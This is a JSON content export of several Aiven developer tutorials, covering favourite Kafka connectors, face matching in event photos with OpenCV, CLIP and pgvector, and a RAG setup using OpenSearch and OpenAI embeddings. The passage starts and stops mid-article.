Summaries](https://cdn.sanity.io/images/sczeoy4w/production/b11c34aabce1d22872e5d97fc56a1fbc58f5e83f-1724x1114.png)\n\nRun multiple conversations to verify that agents are recognizing each other.\n\n## Conclusion and next steps\nIn this tutorial, we’ve built a system that enables agents to retain and learn from interactions through long-term memory.\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI](https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models)\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-09-02T03:49:28.554Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-08-26T03:25:37.481Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Developing memory-rich AI systems with Valkey, OpenSearch and RAG","asset":{"_ref":"image-8cf89fa3918b5ac029ad191e748366f92ad18de4-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/developing-memory-rich-ai-systems-with-valkey-opensearch-and-rag"},"subtitle":"Adding long term memory to agent communication with OpenSearch®, Amazon Bedrock, RAG and LangChain","tags":[{"_key":"8af037966ef6","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"62111acc684d","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"a8d5aad961cb","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"f0fec7da7f72","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Developing memory-rich AI systems with Valkey™, OpenSearch® and RAG"} {"__i18n_lang":"en","_createdAt":"2025-01-08T10:34:39Z","_id":"9326a764-16c4-498f-8b60-ef9e992c1889","_rev":"tW1iVB3M02HkZ9xlNWPeaj","_type":"devArticle","_updatedAt":"2025-01-09T14:01:25Z","body":"The beauty of open source software is the wealth of community-driven frameworks, plugins and additional code available to anyone who chooses to use it. Apache Kafk® a is no exception. Indeed, with Apache Kafka® Connect, the Kafka project standardized its connection framework, making integrating with Kafka more seamless than previously. However, with so many options for connectors, it can be difficult to know which to choose.\n\nWe’ve written this article as an overview of the most useful Kafka connectors for a variety of use cases. These use cases include: \n\n* **Event sourcing:** one of Kafka’s most compelling use cases is event sourcing and event driven applications – using events happening in one system, like a user frontend, to trigger actions in another system, such as a monitoring system. This is particularly useful for application developers, retail, or anyone whose use case involves interacting with an end user and a graphical user interface.\n* **Analytics and metrics:** Another way to utilize the data your applications generate is to send that data to analytics and metrics reporting. More advanced use cases in this vein include fraud reporting and anomaly detection. Kafka can structure data consistently for an unlimited number of consumers, making that data easy to transport, read and act on. Most industries have a need for some kind of analytics or metrics monitoring, but we find that the most pressing use cases are generally high tech companies for whom service reliability is key.\n* **Data streaming:** Kafka can act as a transport layer in near realtime data streaming applications. Most industries don’t need realtime data monitoring, but we find that use cases in the energy sector and financial services sector find the ability to stream in realtime when needed useful. \n\n\nWe selected connectors for this article based on overall utility, ongoing community support/popularity, and readiness for an enterprise production environment. \n\nTo use any of these connectors with your Aiven for Apache Kafka service, spin up an [Aiven for Apache Kafka Connect service](https://aiven.io/docs/products/kafka/kafka-connect/get-started) alongside your Kafka service, and connect the two.\n\nKafka connectors fall into two categories: source and sink. Source connectors are designed to send data to Kafka from specific kinds of systems, and Sink connectors are designed to send data from Kafka to a specific kind of system. \n\n## Aiven’s general purpose Kafka Connectors \n\nAiven maintains Kafka connectors which simplify connecting to Aiven for a number of different data services. These include both sink and source connectors.\n\n* **[Kafka Connect JDBC](https://github.com/Aiven-Open/jdbc-connector-for-apache-kafka/tree/master):** The JDBC Source Connector connects a variety of relational databases to Kafka, including MySQL and PostgreSQL. The Aiven platform supports automatic connections via the console for databases deployed to Aiven, but if you need to connect to another database, this do-it-all connector is the thing to use. Learn how to use it with the [Using Kafka Connect JDBC Source](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-exampletutorial!\n* **[Commons for Kafka Connect](https://github.com/Aiven-Open/cloud-storage-connectors-for-apache-kafka):** The Aiven Commons for Kafka Connect provides connectors to a number of data buckets on popular clouds. This is useful when reading in data subsets for analysis in other systems, or writing analytics data to cold storage. It provides connections to Google Cloud Storage, Amazon S3 Buckets and Azure Blob storage. \n* **[HTTP Sink Connector](https://github.com/Aiven-Open/http-connector-for-apache-kafka):** We like the Aiven HTTP sink connector for sending data over HTTP. Nor every piece of data can go directly into a data store. The HTTP Sink Connector recommended go-to for sending any and all information from Kafka to any other system using HTTP. We recommend learning how to use it even if you’re connecting Kafka to a known quantity like Postgres or MySQL – at some point, we find almost all Kafka implementations connect to something that a preexisting connector doesn’t work for. \n\n\n## Purpose specific connectors\n\nSometimes it's useful to use a connector that targets a specific technology or use case. At Aiven, we see these the most in production: \n\n* **[Debezium](https://github.com/debezium/debezium):** Debezium is our go-to for change data capture implementations using Kafka. Learn more about using Debezium to implement change data capture using [Amazon RDS](https://aiven.io/developer/cdc-amazon-rds-to-apache-kafka-debezium), [Azure SQL](https://aiven.io/developer/change-data-capture-azure-sql-to-apache-kafka), and [Postgres tables with logical decoding](https://aiven.io/developer/cdc-multiple-postgresql-tables-logical-decoding). \n* **[BigQuery](https://github.com/Aiven-Open/bigquery-connector-for-apache-kafka):** For those working with Google Cloud, BigQuery offers a unique way to access your data at scale.\n\n\n## Get more from your Kafka implementation \n\nApache Kafka is a service best paired with other services to build out data pipelines for all sorts of interesting things. The following resources can help you use Kafka to its fullest:\n\n* The [Aiven for Apache Kafka cookbook](https://aiven.io/developer/terraform-cookbook-kafka) offers Terraform implementations of some of the most popular integrations\n* [Tiered storage](https://aiven.io/docs/products/kafka/howto/kafka-tiered-storage-get-started) lets you save data that passes through Kafka externally for later use. [Learn how to use tiered storage with our guide](https://aiven.io/developer/kafka-tiered-storage-terraform)! \n* Use the [Aiven Console](https://console.aiven.io) to one-click integrate with popular services like Datadog and more.","feature":{"_type":"featuredItem","active":false,"endDate":"2025-01-15T10:21:45.761Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2025-01-08T10:15:32.666Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text on a blue background reading \"Aiven's favorite Apache Kafka connectors\"","asset":{"_ref":"image-c0f5ad36c42c1d48006f2dcaabe6009baa8fa106-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/aivens-favorite-apache-kafka-connectors"},"subtitle":"Getting started with Aiven for Apache Kafka®? Check out this list of our most used Kafka connectors!","tags":[{"_key":"3f4404853c4b","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"48d289935624","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"},{"_key":"48c9fac1ca09","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"6c287909edb7","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}],"title":"Aiven’s favorite Apache Kafka® connectors"} {"__i18n_lang":"en","_createdAt":"2023-06-23T12:28:04Z","_id":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_rev":"EXzA9uxcM5girV4aqVvzlc","_type":"devArticle","_updatedAt":"2024-10-29T10:40:00Z","body":"In the era of AI anything is a vector: from huge texts being parsed and categorized by Large Language Models (LLMs) to images being decomposed to find specific objects in them.\n\nWhen asking questions to these models, the answer is defined by proximity: the set of stored vectors is parsed to find out the closest one (or set) in terms of distance, angle or similar metric. \n\nIf the entire vectorised dataset can be hosted in memory, no problem; but what happens when data gets big? This is where solving the problem with tools that are aimed at storing huge datasets can help, even better if they expose the search functionalities in a known language (SQL) and without the need to extract the entire dataset each time. In our case the tool is PostgreSQL® and the vector functionality is provided by the `pgvector` extension, newly released in Aiven for PostgreSQL®.\n\n\u003c!-- \n::banner[]{ctaText=\"Read more\" ctaLink=\"https://aiven.io/workshop/preparing-and-using-data-for-ai-with-langchain-and-opensearch\" title=\"Online workshop: Preparing and Using Data for AI with LangChain and OpenSearch®\" background=\"\" theme=\"light\"}\n--\u003e\n\nWe'll recreate a familiar use-case: you're at an event, and a friend or photograper takes a lot of pictures which are then shared with all the participants. How to identify all the pictures where you are included without having to browse them all? We recently had our yearly face to face meeting at Aiven, called [Crab Week](https://aiven.io/blog/crab-week-2023-wrap-up), so I had the perfect dataset to start playing with vector representation and search.\n\n\n## Vector representation, embeddings and search\n\nInformation can be stored in several ways, just think about the sentence `I Love Parks`: you could represent it in a table with three columns to flag the presence or not of each word (`I`, `LOVE` and `PARKS`) as per image below:\n\n![Table containing three columns named I, LOVE and PARKS with value 1](https://cdn.sanity.io/images/sczeoy4w/production/c2cf1e69d67a16334c466c1b8394a4ad5ae4418f-1782x364.jpg)\n\nThis is a lossless method, no information (apart from the order of words) is lost with this encoding. The drawback though is that the number of columns grows with the number of distinct words within the sentence. For example, if we try to also encode `I Love Croissants` with the same structure we'll end up with four columns `I`, `LOVE`, `PARKS` and `CROISSANTS` as shown below.\n\n![Table containing three columns named LOVE, PARKS, CROISSANTS with value 0 or 1 depending on the presence of the word in the phrase](https://cdn.sanity.io/images/sczeoy4w/production/2fe2cb9a72e8c48cbd14cae58756edc671ccd1ad-2000x445.jpg)\n\n### Embeddings\n\nWhat are embeddings then? As mentioned above, storing the presence of each word in a separate column would create a very wide and unmanageable dataset. Therefore a standard approach is to try to reduce the dimensionality by aggregating or dropping some of the redundant or not very distiguishable information. In our previous example, we could still encode the same information by:\n* dropping the `I` column since it doesn't add any value (it's always `1`)\n* dropping the `CROISSANTS` column since we can still distinguish the two sentences by the presence of the `PARK` word. \n\nIf we visualize the two sentences above in a graph only using the `LOVE` and `PARKS` axis (therefore excluding the `I` and `CROISSANTS`), the result shows that `I Love Parks` is encoded as `(1,1)` since it has present both the `LOVE` and the `PARKS` words. On the other hand `I Love Croissants` is encoded with `(1,0)` since it includes `LOVE` but not `PARKS`.\n\n![Graph showing the phrases Love Parks and Love Croissants being encoded in the axes LOVE and PARKS](https://cdn.sanity.io/images/sczeoy4w/production/300a68c3b8c30739b32990d22855256407339cf9-1586x970.jpg) \n\nIn the graph above, the `distance` represents a calculation of similarity between two vectors: The more two vectors point to the same direction or are close to each other, the more the information they represent should be similar. \n\n### Does this work with pictures?\n\nA similar approach also works for pictures. As beautifully explained by [Mathias Grønne](https://towardsdatascience.com/introduction-to-image-embedding-and-accuracy-53473e8965f) and visualized in the image below (it's Figure 1.1 from the above blog, original book photo photo by [Jess Bailey](https://unsplash.com/photos/gL2jT6xHYOY) on [Unsplash](https://unsplash.com/)), an image is just a series of characters in a matrix, and therefore we could reduce the matrix information and create embeddings on it.\n\n![Image encoding illustrated: a picture of a book, which becomes a pixellated version of the same, and then we zoom in on a few pixels to see their values](https://cdn.sanity.io/images/sczeoy4w/production/127e8170fed0b2c5647c317fc237af4dbda1ad49-1428x316.jpg)\n\n## Setup Face recognition with Python and PostgreSQL `pgvector` \n\nIf you, like me, use IPhotos on Mac, you’ll be familiar with the “People” tab, where you can select one person and find the photos where this person is included.\nI used the following code to do the same sort of thing with the pictures coming from Crab Week - you’re invited to run it, with adaptations, on top of any folder containing images.\n \n\nSince images are sensitive data, we don't want to rely on any online service or upload them to the internet. The entire pipeline defined below is working 100% locally.\n\nThe data pipeline will involve several steps:\n\n* Download all the pictures in a local folder\n* Retrieve the faces included in any picture\n* Calculate the embeddings from the faces\n* Store the embedidngs in PostgreSQL in a `vector` column from `pgvector`\n* Get a colleague picture from Slack\n* Identify the face in the picture (needed since people can have all types of pictures in Slack)\n* Calculate the embeddings in the Slack picture\n* Use `pgvector` distance function to retrieve the closest faces and therefore photos\n\nThe entire flow is shown in the picture below:\n\n![Entire pipeline for Face recognitions](https://cdn.sanity.io/images/sczeoy4w/production/dd95bbc09a3bdc763ce8fbe2c89474a36cff7459-2000x1132.jpg)\n\n\n### Retrieve the faces from photos\n\nAn ideal dataset to calculate embeddings would contain only pictures of one person at a time, looking straight in the camera with minimal background. As we know, this is not the truth for event pictures, where a multitude of people is commonly grouped together with various backgrounds. Therefore, to create a machine learning algorithm that will be able to find a person included in a picture, we need to isolate the faces of the people within the photos and create the embeddings on the faces rather than over the entire photos.\n\n![Faces being extracted from the picture](https://cdn.sanity.io/images/sczeoy4w/production/8d703a0e89befd3441e71ad4b58260d955700a74-1244x1702.jpg)\n\nTo \"extract\" faces from the pictures we used Python, OpenCV a computer vision tool and a pre-trained Haar Cascade model, the description of the process can be found in [this article](https://www.makeuseof.com/python-detect-faces/). \n\nTo get it working, we just need to install the `opencv-python` package with:\n\n```shell\npip install opencv-python\n```\n\nDownload the `haarcascade_frontalface_default.xml` pre-trained Haar Cascade model from the [OpenCV GitHub repository](https://github.com/opencv/opencv/tree/master/data/haarcascades) and store it locally.\n\nInsert the code below in a python file, replacing the `\u003cINSERT YOUR IMAGE NAME HERE\u003e` with the path to the image you want to identify faces from and `\u003cINSERT YOUR TARGET IMAGE NAME HERE\u003e` to the name of the file where you want to store the face.\n\n```python\n# import the OpenCV library - it's called cv2\nimport cv2\n# load the Haar Cascade algorithm from the XML file into OpenCV\nalg = \"haarcascade_frontalface_default.xml\"\nhaar_cascade = cv2.CascadeClassifier(alg)\n# read the image as grayscale\nfile_name = '\u003cINSERT YOUR IMAGE NAME HERE\u003e'\nimg = cv2.imread(file_name, cv2.IMREAD_GRAYSCALE)\n# find the faces in that image\n# this gives back an array of face locations and sizes\nfaces = haar_cascade.detectMultiScale(\n gray_img,\n scaleFactor=1.05,\n minNeighbors=2,\n minSize=(100, 100)\n)\n# for each face detected\nfor x, y, w, h in faces:\n # crop the image to select only the face\n cropped_image = img[y : y + h, x : x + w]\n # write the cropped image to a file\n target_file_name = '\u003cINSERT YOUR TARGET IMAGE NAME HERE\u003e'\n cv2.imwrite(\n target_file_name,\n cropped_image,\n )\n```\n\nThe line that performs the magic is:\n\n```python\nfaces = haar_cascade.detectMultiScale(\n gray_img,\n scaleFactor=1.05,\n minNeighbors=2,\n minSize=(100, 100)\n)\n```\n\nWhere:\n* `gray_img` is the source image in which we need to find faces\n* `scaleFactor` is the scaling factor, the higher ratio the more compression and more loss in image quality\n* `minNeighbors` the amount of neighbour faces to collect. The higher the more the same face could appear multiple times.\n* `minSize` the minimum size of a detected face, in this case a square of 100 pixels.\n\nThe `for` loop iterates over all the faces detected and stores them in separate files; you might want to define a variable (maybe using the `x` and `y` parameters) to store the various faces in different files. Moreover, if you plan to calculate embeddings over a series of pictures, you'll want to encapsulate the above code in a loop parsing all the files in a specific folder.\n\nThe result of the face detection stage is not perfect: it identifies three faces out of the four that are visible, but is good enough for our purpose. You can fine tune the algorithm parameters to find the better fit for your use cases.\n\n### Calculate the embeddings\n\nOnce we identified the faces, we can now calculate the embeddings. For this step we are going to use [imgbeddings](https://github.com/minimaxir/imgbeddings), a Python package to generate embedding vectors from images, using [OpenAI](https://openai.com/)'s [CLIP model](https://github.com/openai/CLIP) via [Hugging Face](https://huggingface.co/) [transformers](https://huggingface.co/docs/transformers/index).\n\nTo calculate the embeddings of a picture, we need to first install the required packages via\n\n```shell\npip install imgbeddings\npip install pillow \n```\n\nAnd then include the following in a Python file\n\n```python\n# import the required libraries\nimport numpy as np\nfrom imgbeddings import imgbeddings\nfrom PIL import Image\n# load the face image from its file\nfile_name = \"INSERT YOUR FACE FILE NAME\"\nimg = Image.open(file_name)\n# loading `imgbeddings` so we can calculate embeddings\nibed = imgbeddings()\n# calculating the embedding for our image\nembedding = ibed.to_embeddings(img)[0]\n```\n\nThe code above calculates the embeddings. The result is a 768 element numpy vector for each input image, representing its embedding.\n\n### Store embeddings in PostgreSQL using `pgvector`\n\nIt's time to start using the capability of PostgreSQL and the `pgvector` extension. First of all we need a PostgreSQL up and running, we can navigate to the [Aiven Console](https://console.aiven.io/), create a new PostgreSQL selecting the favourite cloud provider, region and plan and enabling extra disk storage if needed. The `pgvector` extension is available in all plans. Once all the settings are ok, you can click on **Create Service**.\n\nOnce the service is up and running (it can take a couple of minutes), navigate to the service Overview and copy the **Service URI** parameter. We'll use it to connect to PostgreSQL via [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql) with:\n\n```shell\npsql \u003cSERVICE_URI\u003e\n```\n\nOnce connected, we can enable the pgvector extension with:\n\n```sql\nCREATE EXTENSION vector;\n```\n\nAnd now we can create a table containing the picture name, and the embeddings with:\n\n```sql\nCREATE TABLE pictures (picture text PRIMARY KEY, embedding vector(768));\n```\n\nCheck out the `embedding vector(768)`, we are defining a vector of 768 dimensions, exactly the same dimension as the output of the `ibed.to_embeddings(img)` function in the previous step.\n\nTo load the embedding in postgreSQL we can use [psycopg2](https://aiven.io/docs/products/postgresql/howto/connect-python) by installing it with\n\n```shell\npip install psycopg2\n```\n\nand then using the following Python code always replacing the `\u003cSERVICE_URI\u003e` with the service URI\n\n```python\n# import the required libraries\nimport psycopg2\n# connect to our database and upload the record\nconn = psycopg2.connect('\u003cSERVICE_URI\u003e')\ncur = conn.cursor()\ncur.execute('INSERT INTO pictures values (%s,%s)', (file_name, embedding.tolist()))\nconn.commit()\nconn.close()\n```\n\nWhere `file_name` and `embedding` are the variables from the previous Python statement.\n\n### Get Slack image, retrieve face and calculate embeddings\n\nThe following steps in the process are similar to the ones already done above, this time the source image is the Slack profile picture where we'll detect the face and calculate the embeddings. The code above can be reused by changing the location of the source image.\n\n![Calculate embeddings from Slack picture](https://cdn.sanity.io/images/sczeoy4w/production/930aa859ed311be2253796c60e27c8c1ba7753ad-1740x402.jpg)\n\nThe code below can give you a starting point\n\n```python\n# load the image you want to search with\nfile_name = '\u003cINSERT YOUR SLACK IMAGE NAME HERE\u003e'\nimg = cv2.imread(file_name, cv2.IMREAD_GRAYSCALE)\n# find the faces\nfaces = haar_cascade.detectMultiScale(\n gray_img,\n scaleFactor=1.05,\n minNeighbors=2,\n minSize=(100, 100)\n)\n# load `imgbeddings` so we can calculate embeddings\nibed = imgbeddings()\n# for each face detected in the Slack picture\nfor x, y, w, h in faces:\n # crop the image to select only the face\n cropped_image = img[y : y + h, x : x + w]\n # calculating its embedding\n slack_img_embedding = ibed.to_embeddings(cropped_image)[0]\n```\n\nSince Slack pictures could be complex, the above code has a `for` loop iterating over all the detected faces. You might want to add additional checks to find the most relevant face to calculate the embeddings from.\n\n### Find similar images with vector search\n\nThe final piece of the puzzle is to use the similarity functions available in pgvector to find pictures where the person is included. pgvector provides [different similarity functions](https://aiven.io/docs/products/postgresql/concepts/pgvector#vector-similarity), depending on the type of search we are trying to perform. \n\nWe'll use the [distance](https://github.com/pgvector/pgvector#distances) function, that calculates the euclidean distance between two vectors for our search. To find the other pictures with closest distance we can use the following query in Python:\n\n```python\nconn = psycopg2.connect('\u003cSERVICE_URI\u003e')\ncur = conn.cursor()\nstring_representation = \"\".join(str(x) for x in slack_img_embedding.tolist())\ncur.execute(\"SELECT picture FROM pictures ORDER BY embedding \u003c-\u003e %s LIMIT 5;\", (string_rep,))\nrows = cur.fetchall()\nfor row in rows:\n print(row)\n```\n\nWhere `slack_img_embedding` is the embeddings vector calculated on top of the Slack profile picture at the previous step. If everything is working correctly, you'll be able to see the name of top 5 pictures that are similar to the Slack profile image as input.\n\nThe results, in the crabweek case was five photos where my colleague Tibs was included!\n\n![Pictures of Tibs](https://cdn.sanity.io/images/sczeoy4w/production/ce39ec3c2f424a0e4074e42d8226c26fea2366cd-2000x1206.png)\n\n\n## pgvector, enabling Machine Learning in PostgreSQL\n\nMachine Learning is becoming pervasive in our day to day activities. Being able to store, query and analyse data embeddings in the same technology where the data resides, like a PostgreSQL database, can provide a number of benefits in machine learning democratisation and enable new use cases achievable by a standard SQL query.\n\nTo know more about pgvector and Machine Learning in PostgreSQL:\n\n* there's a Jupyter notebook containing a worked example of the above code over at https://github.com/Aiven-Labs/pgvector-image-recognition\n* pgvector [use cases and features description](https://aiven.io/docs/products/postgresql/concepts/pgvector)\n* [How to enable pgvector in Aiven for PostgreSQL](https://aiven.io/docs/products/postgresql/howto/use-pgvector)\n* pgvector [README on GitHub](https://github.com/pgvector/pgvector)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-06-30T12:21:10.261Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[],"publishedAt":"2023-06-26T09:00:14.864Z","seo":{"_type":"metaData","metaDescription":"Learn how to utilise OpenCV, OpenAI CLIP and pgvector for image recognition on a corpus of photos. Simplify your workflows and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","alt":"The text \"Image recognition with Python, PostgreSQL and pgvector\" with the Aiven cuddly crab logo in the corner","asset":{"_ref":"image-61317ae978acd8d84f3b00230d02a0dd1d436309-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/find-faces-with-pgvector"},"subtitle":"Vector embeddings are key to ML, and here we describe how to use OpenCV, OpenAI CLIP and pgvector to generate vectors and use them to perform image recognition on a corpus of photos.","tags":[{"_key":"9eed573c2a17","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"4664853449d7","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"01c283e6da8b","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"db598891c039","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"} {"__i18n_lang":"en","_createdAt":"2024-03-07T11:22:17Z","_id":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_rev":"EXzA9uxcM5girV4aqVwHqY","_type":"devArticle","_updatedAt":"2024-10-29T10:41:36Z","body":"Retrieval augmented generation (RAG) is an AI technique for retrieving facts from an external knowledge base to provide large language models (LLMs) on the most accurate, up-to-date context to be able to craft better replies and reduce the risk of hallucination.\n\nThis tutorial guides you through an example of using [Aiven for OpenSearch®](https://aiven.io/opensearch) as a backend vector database for OpenAI embeddings and how to perform text, semantic, or mixed search which can serve as basis for a RAG system. We'll use the set of Wikipedia articles as base knowledge to influence the replies of a chatbot.\n\n![Overall Flow including Aiven for OpenSearch, OpenAI](https://cdn.sanity.io/images/sczeoy4w/production/40f451d6b5c9481864e65cb2c429937304638dfd-8020x1610.png)\n\n\n## Why use OpenSearch as a backend vector database?\n\nOpenSearch is a widely adopted open source search/analytics engine. It allows to storing, querying and transforming of documents in a variety of shapes. It also provides fast and scalable functionality to perform both accurate and [fuzzy text search](https://opensearch.org/docs/latest/query-dsl/term/fuzzy/). Using OpenSearch as vector database enables you to mix and match semantic and text search queries on top of a performant and scalable engine.\n\n\u003c!--\n::banner[]{ctaText=\"Read more\" ctaLink=\"https://aiven.io/workshop/preparing-and-using-data-for-ai-with-langchain-and-opensearch\" title=\"Online workshop: Preparing and Using Data for AI with LangChain and OpenSearch®\" background=\"\" theme=\"light\"}\n--\u003e\n\n## Prerequisites\n\nBefore you begin, have the following:\n\n1. An [Aiven Account](https://console.aiven.io/signup). You can create an account and start a free trial with Aiven by navigating to the [signup page](https://console.aiven.io/signup) and creating a user.\n2. An [Aiven for OpenSearch service](https://aiven.io/opensearch). You can spin up an Aiven for OpenSearch service in minutes in the [Aiven Console](https://console.aiven.io/signup) with the following steps \n * Click on **Create service**\n * Select **OpenSearch**\n * Choose the **Cloud Provider and Region**\n * Select the **Service plan** (the `hobbyist` plan is enough for the notebook)\n * Provide the **Service name**\n * Click on **Create service**\n3. The OpenSearch **Connection String**. The connection string is visible as **Service URI** in the Aiven for OpenSearch service overview page.\n4. Your [OpenAI API key](https://platform.openai.com/account/api-keys)\n5. Python and `pip` installed locally.\n\n## Installing dependencies\n\nThe tutorial requires the following Python packages:\n\n* `openai`\n* `pandas`\n* `wget`\n* `python-dotenv`\n* `opensearch-py`\n\nYou can install the above packages with:\n\n```bash\npip install openai pandas wget python-dotenv opensearch-py\n```\n\n## OpenAI key settings\n\nWe'll use OpenAI to create embeddings starting from a set of documents, so we need an API key. You can get one from the [OpenAI API Key page](https://platform.openai.com/account/api-keys) after logging in.\n\nTo avoid leaking the OpenAI key, you can store it as an environment variable named `OPENAI_API_KEY`. \n\n::alert[For more information on how to perform the same task across other operative systems, refer to [Best Practices for API Key Safety](https://help.openai.com/en/articles/5112595-best-practices-for-api-key-safety).]{title=\"Info\"} \n\nTo store safely the information, create a `.env` file in the same folder where the notebook is located and add the following line, replacing the `\u003cINSERT_YOUR_API_KEY_HERE\u003e` with your OpenAI API Key.\n\n```bash\nOPENAI_API_KEY=\u003cINSERT_YOUR_API_KEY_HERE\u003e\n```\n\n## Connect to Aiven for OpenSearch\n\nOnce the Aiven for OpenSearch service is in the `RUNNING` state, we can retrieve the connection string from the Aiven for OpenSearch service page.\n\nCopy the **Service URI** paramete and store it in the same `.env` file created above, after replacing the `https://USER:PASSWORD@HOST:PORT` string with the Service URI.\n\n```bash\nOPENSEARCH_URI=https://USER:PASSWORD@HOST:PORT\n```\n\nWe can now connect to Aiven for OpenSearch by adding the following code in Python:\n\n```python\nimport os\nfrom opensearchpy import OpenSearch\nfrom dotenv import load_dotenv\n\n# Load environment variables from .env file\nload_dotenv()\n\nconnection_string = os.getenv(\"OPENSEARCH_URI\")\n\n# Create the client with SSL/TLS enabled, but hostname verification disabled.\nclient = OpenSearch(connection_string, use_ssl=True, timeout=100)\n```\n\nThe code above reads the OpenSearch connection string from the `.env` file (`os.getenv(\"OPENSEARCH_URI\")`) and creates a client connection using SSL with a timeout of `100` seconds.\n\n## Download the dataset\n\nIn theory we could use any dataset for this purpose, and you are more than welcome to bring your own. However, for simplicity's sake and to avoid the need to calculate embeddings on a huge dataset of documents, we'll use a set with pre-calculated OpenAI embeddings which score Wikipedia articles. We can get the file and unzip it with:\n\n```bash\nimport wget\nimport zipfile\n\nembeddings_url = 'https://cdn.openai.com/API/examples/data/vector_database_wikipedia_articles_embedded.zip'\nwget.download(embeddings_url)\n\nwith zipfile.ZipFile(\"vector_database_wikipedia_articles_embedded.zip\",\n\"r\") as zip_ref:\n zip_ref.extractall(\"data\")\n```\n\nLet's load the file in a pandas dataframe and check its content with:\n\n```python\nimport pandas as pd\n\nwikipedia_dataframe = pd.read_csv(\"data/vector_database_wikipedia_articles_embedded.csv\")\n\nwikipedia_dataframe.head()\n```\n\nThe file contains:\n* `id` a unique Wikipedia article identifier\n* `url` the Wikipedia article URL\n* `title` the title of the Wikipedia page\n* `text` the text of the article\n* `title_vector` and `content_vector` the embedding calculated on the title and content of the wikipedia article respectively\n* `vector_id` the id of the vector\n\n## Define the OpenSearch mapping to store the OpenAI embeddings\n\nTo properly store and query all the fields included in the dataset, we need to define an OpenSearch index settings and mapping optimized for the storage of the information, including the embeddings. For this purpose we can define the settings and the mappings via:\n\n```Python\nindex_settings ={\n \"index\": {\n \"knn\": True,\n \"knn.algo_param.ef_search\": 100\n }\n }\n\nindex_mapping= {\n \"properties\": {\n \"title_vector\": {\n \"type\": \"knn_vector\",\n \"dimension\": 1536,\n \"method\": {\n \"name\": \"hnsw\",\n \"space_type\": \"l2\",\n \"engine\": \"faiss\"\n }\n },\n \"content_vector\": {\n \"type\": \"knn_vector\",\n \"dimension\": 1536,\n \"method\": {\n \"name\": \"hnsw\",\n \"space_type\": \"l2\",\n \"engine\": \"faiss\"\n },\n },\n \"text\": {\"type\": \"text\"},\n \"title\": {\"type\": \"text\"},\n \"url\": { \"type\": \"keyword\"},\n \"vector_id\": {\"type\": \"long\"}\n \n }\n}\n```\n\nThe code above:\n* Defines an index with `knn` search enabled. The k-nearest neighbors (k-NN) search searches a vector space (generated by embeddings) in order to retrieve the _k_ closest vectors. You can read more in the [OpenSearch k-NN documentation](https://opensearch.org/docs/latest/search-plugins/knn/index/).\n* Defines a mapping with:\n * `title_vector` and `content_vector` of type `knn_vector` and `1536` dimension (vector with 1536 entries)\n * `text`, containing the article text as a `text` field\n * `title`, containing the article title as a `text` field\n * `url`, containing the article text as a `keyword` field\n * `vector_id`, containing the id of the vector as `long` field\n\nWith the settings and mappings defined, we can now create the `openai_wikipedia_index` index in Aiven for OpenSearch with:\n\n```python\nindex_name = \"openai_wikipedia_index\"\nclient.indices.create(\n index=index_name, \n body={\"settings\": index_settings, \"mappings\":index_mapping}\n )\n```\n\n## Load data into OpenSearch\n\n![Load data in OpenSearch®](https://cdn.sanity.io/images/sczeoy4w/production/ed814747e2ed138c8c1bed58e34b559e52da4b7d-3880x1610.png)\n\n\nWith the index created, the next step is to parse the the pandas dataframe and load the data into OpenSearch using the [Bulk APIs](https://opensearch.org/docs/latest/api-reference/document-apis/bulk/). The following function loads a set of rows in the dataframe:\n\n```python\ndef dataframe_to_bulk_actions(df):\n for index, row in df.iterrows():\n yield {\n \"_index\": index_name,\n \"_id\": row['id'],\n \"_source\": {\n 'url' : row[\"url\"],\n 'title' : row[\"title\"],\n 'text' : row[\"text\"],\n 'title_vector' : json.loads(row[\"title_vector\"]),\n 'content_vector' : json.loads(row[\"content_vector\"]),\n 'vector_id' : row[\"vector_id\"]\n }\n }\n```\n\nTo speed up ingestion we can load the data in batches of `200` rows.\n\n```python\nfrom opensearchpy import helpers\nimport json\n\nstart = 0\nend = 